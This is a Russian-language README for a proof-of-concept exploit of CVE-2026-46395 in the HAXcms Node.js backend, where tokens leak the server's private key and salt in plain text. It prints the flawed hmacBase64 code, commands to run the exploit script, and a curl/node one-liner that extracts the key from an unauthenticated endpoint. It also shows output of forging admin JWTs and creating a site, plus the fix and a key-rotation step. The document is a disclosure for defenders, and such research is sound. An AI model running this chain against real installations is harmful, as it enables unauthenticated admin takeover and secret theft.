
PoC и описание для CVE-2026-46395: раскрытие закрытого ключа без аутентификации через нарушенный HMAC в HAXcms Node.js (CWE-321/CWE-200). Только для авторизованных исследований безопасности.
Proof-of-concept только для авторизованного тестирования безопасности и исследований. Описанная уязвимость исправлена в последнем релизе HAXcms. Этот PoC опубликован, чтобы защитники и исследователи могли проверить проблему на незапатченных экземплярах, которыми они владеют или на тестирование которых имеют явное разрешение.
| CVE | CVE-2026-46395 |
| Компонент | Node.js бэкенд HAXcms - haxcms-nodejs/src/lib/HAXCMS.js |
| Уязвимость | Жёстко заданный крипто-ключ + раскрытие закрытого ключа (CWE-321, CWE-200) |
| Критичность | Критическая - CVSS 3.1 9.8 |
| Атака | Неаутентифицированная, один HTTP-запрос, без взаимодействия с пользователем |
| Статус | Исправлено в вышестоящем репозитории. Затрагивает версии до патча. |
| Проект | elmsln/HAXcms |
| Сообщивший | Shreyas Challa ([email protected]) |
hmacBase64() в Node.js бэкенде HAXcms (src/lib/HAXCMS.js:2158-2163)
содержит две криптографические ошибки, которые вместе позволяют любому
неаутентифицированному злоумышленнику восстановить мастер-секрет сервера (privateKey + salt) и
создать администраторские JWT.
// HAXCMS.js:2158-2163 - УЯЗВИМЫЙ
hmacBase64(data, key) {
var buf1 = crypto.createHmac("sha256", "0").update(data).digest(); // ОШИБКА 1: ключ жёстко задан как "0"
var buf2 = Buffer.from(key); // ОШИБКА 2: реальный ключ...
return Buffer.concat([buf1, buf2]).toString('base64') // ...добавляется к выводу
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
"0" используется как ключ подписи
вместо key, поэтому HMAC не обеспечивает секретности.key (системный
privateKey + salt) добавляется к дайджесту и кодируется в base64 в
возвращаемом токене.Таким образом, каждый токен имеет структуру:
base64url( [32 байта: HMAC-SHA256 с ключом "0"] [N байт: privateKey+salt В ОТКРЫТОМ ВИДЕ] )
Злоумышленник декодирует любой токен из base64, отбрасывает первые 32 байта и читает
закрытый ключ напрямую. Эндпоинт /system/api/connectionSettings находится в списке пропуска JWT
(src/app.js) и возвращает несколько таких токенов без
аутентификации, поэтому один GET-запрос раскрывает ключ.
PHP бэкенд (
HAXCMS.php:1619-1631) реализует это корректно (подписывается реальным ключом, возвращает только дайджест → токены из 44 символов). Сломанная версия Node.js выдаёт токены из 139+ символов - видимый признак того, что встроены лишние данные.
Один неаутентифицированный запрос приводит к полной компрометации:
GET /system/api/connectionSettings, декодировать любой токен из base64, отбросить первые 32 байта.jwt.sign(payload, privateKey+salt).user_token, form_token и т.д.Это работает даже после того, как администратор установил надёжный пароль, а подделанные токены не создают событий входа в журналах.
poc_hmac_key_leak.js выполняет всю цепочку «конец-в-конец» против работающего
экземпляра и подробно выводит каждый шаг: получить токены → извлечь ключ → проверить ключ
→ подделать JWT → подделать токены запросов → вызвать аутентифицированный эндпоинт → создать
сайт для подтверждения прав на запись.
Разверните локальный тестовый экземпляр:
git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js # будет доступен на http://localhost:3000
git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install # устанавливает jsonwebtoken (используется для подделки JWT)
node poc_hmac_key_leak.js http://localhost:3000
Если jsonwebtoken не установлен, PoC всё равно извлекает и проверяет ключ,
просто пропуская шаги подделки JWT.
TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
| grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
console.log('Утёкший ключ:', Buffer.from(t,'base64').slice(32).toString('utf8'));"
STEP 1: Получение /system/api/connectionSettings (БЕЗ АУТЕНТИФИКАЦИИ)
длина токена: 139 символов (корректный токен HMAC ~44)
STEP 2: Извлечение закрытого ключа из токена
Байты 32+ (privateKey + salt В ОТКРЫТОМ ВИДЕ):
4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
РЕЗУЛЬТАТ: Закрытый ключ успешно извлечён!
STEP 3: СОВПАДЕНИЕ - извлечённый ключ корректен.
STEP 4: Подделанный JWT (пользователь=admin) ...
STEP 7: САЙТ УСПЕШНО СОЗДАН - подтверждён полный администраторский доступ.
Замените сломанную функцию на корректную подписанную HMAC, которая возвращает только дайджест:
hmacBase64(data, key) {
return crypto.createHmac("sha256", key) // используйте реальный ключ
.update(data)
.digest('base64') // вернуть ТОЛЬКО хэш
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
После патча:
privateKey и salt на каждом развёрнутом экземпляре — любой ранее
выданный токен содержит старый ключ в открытом виде (в HTTP-ответах, журналах и
истории браузера).Обновитесь до последнего релиза HAXcms, который содержит исправление в вышестоящем репозитории.
Эта проблема была сообщена мейнтейнерам HAXcms и исправлена до публикации. PoC выпущен только после того, как патч стал доступен. Используйте его исключительно против систем, которыми вы владеете или на тестирование которых получили явное разрешение.
Данный материал предоставлен для защитных исследований, обучения и авторизованного
тестирования безопасности. Запуск его против систем без явного разрешения может быть
незаконным. Вы несёте полную ответственность за соблюдение всех применимых законов
и за получение разрешения перед тестированием. Предоставляется «как есть» без каких-либо гарантий (см. LICENSE).